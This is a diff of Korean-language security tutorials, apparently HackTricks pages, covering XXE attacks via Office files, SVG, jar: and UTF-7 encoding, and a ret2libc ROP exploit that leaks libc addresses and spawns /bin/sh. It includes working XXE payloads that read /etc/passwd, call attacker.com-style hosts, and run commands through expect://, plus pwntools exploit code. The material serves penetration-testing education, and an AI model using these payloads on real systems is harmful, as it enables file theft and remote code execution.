- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`를 포함합니다. 이 일련의 작업은 익스플로잇이 목표로 하는 오류 메시지를 발생시킵니다.
@ -219,13 +219,13 @@ Testing 0 entities : []
```
### XXE via Office Open XML Parsers
이 공격에 대한 더 깊은 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
**Microsoft Office 문서 업로드 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야** 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
문서의 압축이 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.
문서가 압축 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
@ -235,7 +235,7 @@ Testing 0 entities : []
### Jar: protocol
**jar** 프로토콜은 **Java 애플리케이션** 내에서만 접근할 수 있습니다. 이는 **PKZIP** 아카이브(예: `.zip`, `.jar` 등) 내에서 파일 접근을 가능하게 하며, 로컬 및 원격 파일 모두를 지원합니다.
**jar** 프로토콜은 **Java 애플리케이션** 내에서만 접근할 수 있도록 설계되었습니다. 이는 **PKZIP** 아카이브(예: `.zip`, `.jar` 등) 내에서 파일 접근을 가능하게 하며, 로컬 및 원격 파일 모두를 지원합니다.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -246,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`.
2. 아카이브를 포함하는 HTTP 응답은 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
3. 아카이브가 추출되어 그 내용을 접근합니다.
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
5. 작업 후, 이 과정에서 생성된 모든 임시 파일이 삭제됩니다.
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구로는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함됩니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 리포지토리](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구로는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 있습니다.
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
### XInclude
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 있어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있는 경우에도 효과적입니다.
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있을 때도 효과적입니다.
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
```xml
@ -320,15 +320,15 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - 파일 업로드
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. DOCX와 같은 일반적인 파일 형식과 이미지(SVG)는 XML을 기반으로 합니다.
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 오피스 문서(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 형식은 XML을 기반으로 합니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션에서도 **서버의 이미지 처리 라이브러리가 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 **서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예입니다:
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예시입니다:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
또 다른 방법은 PHP "expect" 래퍼를 통해 **명령어를 실행**하려고 시도하는 것입니다:
또 다른 방법은 PHP "expect" 래퍼를 통해 **명령을 실행**하려고 시도하는 것입니다:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -336,9 +336,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
```
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
자세한 내용은 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
**읽기 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
**읽은 파일의 첫 번째 줄이나 실행 결과는 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
### **PDF - 파일 업로드**
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
그렇다면 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
그럼 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
이것은 XML 서버가 `data://` 프로토콜을 수용할 경우에만 작동합니다.
이것은 XML 서버가 `data://` 프로토콜을 수용할 때만 작동합니다.
### UTF-7
여기에서 \[**"Encode Recipe**" of cyberchef\]를 사용할 수 있습니다. \([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)를 사용하여 UTF-7로 변환합니다.
여기서 \[**"Encode Recipe**" of cyberchef를 사용하여]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7로 변환합니다.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -420,17 +420,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
### File:/ 프로토콜 우회
웹이 PHP를 사용하고 있다면, `file:/` 대신 **php wrappers**`php://filter/convert.base64-encode/resource=`를 사용하여 **내부 파일**에 접근할 수 있습니다.
웹이 Java를 사용하고 있다면 [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다.
웹이 Java를 사용하고 있다면 [**jar: 프로토콜**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다.
### HTML Entities
### HTML 엔티티
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\
**html entities**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\
사용되는 **HTML Entities**는 **숫자**여야 합니다 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
**html 엔티티**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 로드할 수 있습니다.\
사용되는 **HTML 엔티티**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -476,7 +476,7 @@ DTD 예:
이 예시는 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)에서 영감을 받았습니다.
XLIFF (XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 로컬라이제이션 중 도구 간에 로컬라이즈 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
### Blind Request Analysis
@ -671,13 +671,17 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
</void>
</java>
```
## Tools
## XXE + WrapWrap + Lightyear + 우회
이 놀라운 보고서를 확인해 보세요 [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## 도구
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
## 참고자료
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)

62
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
View File

@ -5,11 +5,11 @@
## 간단 요약
1. **오버플로우** **오프셋** 찾기
2. **`POP_RDI`** 가젯, **`PUTS_PLT`** 및 **`MAIN`** 찾기
3. 이전 가젯을 사용하여 **puts** 또는 다른 libc 함수의 메모리 주소를 **유출하고 libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
2. `POP_RDI` 가젯, `PUTS_PLT` 및 `MAIN` 찾기
3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 **메모리 주소를 유출**하고 **libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
4. 라이브러리를 사용하여 **ROP를 계산하고 이를 이용해 공격하기**
## 연습할 다른 튜토리얼 및 바이너리
## 연습을 위한 다른 튜토리얼 및 바이너리
이 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 공격할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
또 다른 유용한 튜토리얼: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
@ -43,7 +43,7 @@ rop-leaking-libc-template.md
## 1- 오프셋 찾기
템플릿은 익스플로잇을 계속 진행하기 전에 오프셋이 필요하다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾을 것이다 (기본값 `OFFSET = ""`):
템플릿은 익스플로잇을 계속하기 전에 오프셋이 필요하다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾을 것이다 (기본값 `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -58,7 +58,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**실행** `python template.py` 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 **GDB 콘솔** 안에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 가져옵니다. 마지막으로 **python** 콘솔을 사용하여 **오프셋**을 가져옵니다:
**실행** `python template.py` 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 안에서 **GDB 콘솔**에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 가져옵니다. 마지막으로 **python** 콘솔을 사용하여 **오프셋**을 가져옵니다:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -83,15 +83,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT`는 **함수 puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`는 **오버플로우**를 **다시** **공격**하기 위해 한 번의 상호작용 후에 **main 함수**를 다시 호출하는 데 필요합니다(무한 반복 공격). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
**POP_RDI**는 호출된 함수에 **매개변수**를 **전달**하는 데 필요합니다.
`PUTS_PLT`는 **function puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`는 **exploit**을 **다시** 하기 위해 한 번의 상호작용 후에 **main function**을 다시 호출하는 데 필요합니다 (무한한 **exploit** 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
**POP_RDI**는 호출된 함수에 **parameter**를 **전달**하는 데 필요합니다.
이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
이 단계에서는 pwntools가 실행 중에 모든 것을 찾을 것이므로 아무것도 실행할 필요가 없습니다.
## 3- libc 라이브러리 찾기
이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **함수** `puts`의 메모리 내 **주소**를 **유출**한 다음, 해당 주소에서 puts 버전이 포함된 **라이브러리 버전**을 **검색**할 것입니다.
이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **function** `puts`의 메모리 내 **address**를 **leak**한 다음, 해당 주소에서 puts 버전이 있는 **library version**을 **search**할 것입니다.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -124,22 +124,22 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
이것은 **RIP**를 **덮어쓰기** 할 수 있을 때까지 몇 바이트를 보낼 것입니다: `OFFSET`.\
그런 다음, **주소**를 `POP_RDI` 가젯으로 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스트리에 저장되도록 합니다. 이는 우리가 **puts를 호출**하고 **주소**를 `PUTS_GOT`로 전달하기를 원하기 때문입니다. puts 함수의 메모리 주소는 `PUTS_GOT`가 가리키는 주소에 저장됩니다.\
그 후, `PUTS_PLT`가 호출될 것입니다( **RDI** 안에 `PUTS_GOT`가 포함됨) 그래서 puts는 `PUTS_GOT` 안의 **내용**을 **읽고** (**메모리에서 puts 함수의 주소**) **출력**할 것입니다.\
이것은 **RIP**를 **덮어쓰기** 할 수 있을 때까지 몇 바이트를 전송할 것입니다: `OFFSET`.\
그런 다음, **주소**를 `POP_RDI` 가젯으로 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스터에 저장되도록 합니다. 이는 우리가 **puts를 호출**하고 **주소**를 `PUTS_GOT`로 전달하기를 원하기 때문입니다. `PUTS_GOT`가 가리키는 주소에 puts 함수의 메모리 주소가 저장되어 있습니다.\
그 후, `PUTS_PLT`가 호출될 것이며(`PUTS_GOT`가 **RDI** 안에 있음) puts는 `PUTS_GOT` 안의 **내용**을 **읽고** (**메모리에서 puts 함수의 주소**) 이를 **출력**할 것입니다.\
마지막으로, **main 함수가 다시 호출**되어 우리는 오버플로우를 다시 이용할 수 있습니다.
이렇게 해서 우리는 **puts 함수를 속여** **메모리**에서 **puts** 함수의 **주소**를 **출력**하게 했습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 **어떤 libc 버전이 사용되고 있는지 검색**할 수 있습니다.
이렇게 우리는 **puts 함수**를 **속여서** **메모리**에 있는 **puts** 함수의 **주소**를 **출력**하게 만들었습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 **어떤 libc 버전이 사용되고 있는지 검색**할 수 있습니다.
![](<../../../../../images/image (141).png>)
우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 버전의 **libc**가 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 **libc** 버전이 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
### 3.1- libc 버전 검색 (1)
웹 페이지에서 어떤 라이브러리가 사용되고 있는지 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\
이것은 또한 발견된 **libc** 버전을 다운로드할 수 있게 해줍니다.
이 사이트는 발견된 **libc** 버전을 다운로드할 수 있도록 해줍니다.
![](<../../../../../images/image (142).png>)
@ -157,13 +157,13 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
- Libc 심볼 이름: `puts`
- 유출된 libc 주소: `0x7ff629878690`
우리는 어떤 **libc**가 가장 가능성이 높은지 알아낼 수 있습니다.
우리는 어떤 **libc**가 사용되고 있는지 알아낼 수 있습니다.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
우리는 2개의 일치를 얻습니다(첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
우리는 2개의 일치를 얻습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@ -172,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 작업 디렉토리로 복사합니다.
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 우리의 작업 디렉토리로 복사합니다.
### 3.3- 누출할 다른 함수들
```python
@ -184,22 +184,22 @@ gets
```
## 4- libc 주소 찾기 및 익스플로잇
이 시점에서 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 다음을 사용하겠습니다: `/lib/x86_64-linux-gnu/libc.so.6`
이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 저는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음으로 변경합니다: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #알고 있을 때 라이브러리 경로 설정`
따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음과 같이 변경합니다: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #라이브러리 경로를 알 때 설정`
**libc 라이브러리**에 **경로**를 제공하면 나머지 **익스플로잇이 자동으로 계산됩니다**.
**libc 라이브러리**에 **경로**를 제공하면 나머지 **익스플로잇이 자동으로 계산될 것입니다**.
`get_addr` 함수 내에서 **libc의 기본 주소**가 계산됩니다:
`get_addr` 함수 내에서 **libc의 기본 주소**가 계산될 것입니다:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> 최종 libc 기본 주소는 **00으로 끝나야 합니다**. 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
> **최종 libc 기본 주소는 00으로 끝나야 합니다.** 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc의 기본 주소**에서 **계산**되고 **libc 라이브러리**가 제공됩니다.
그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**되고 **libc 라이브러리**가 제공됩니다.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -218,18 +218,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
마지막 ROP에 대해 설명하겠습니다.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출한 후, 우리는 **overflow**를 **다시 이용할 수 있습니다** (그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 **"/bin/sh"**의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 **"/bin/sh"**의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출되어** 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
이 마지막 ROP에 대해 설명하겠습니다.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출하며 끝났습니다. 그러므로 우리는 **다시 공격할 수 있습니다** **overflow**를 이용하여 (그래서 `OFFSET`이 다시 여기에 있는 것입니다). 그런 다음, 우리는 `POP_RDI`를 호출하여 **주소**를 _"/bin/sh"_ (`BINSH`)로 지정하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 _"/bin/sh"_의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출**되어 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
**이렇게 하면 exploit가 \_/bin/sh**\_\*\* 셸을 실행합니다.\*\*
**이렇게 하면 exploit가 _/bin/sh**_ 셸을 실행하게 됩니다.**
![](<../../../../../images/image (143).png>)
## 4(2)- ONE_GADGET 사용하기
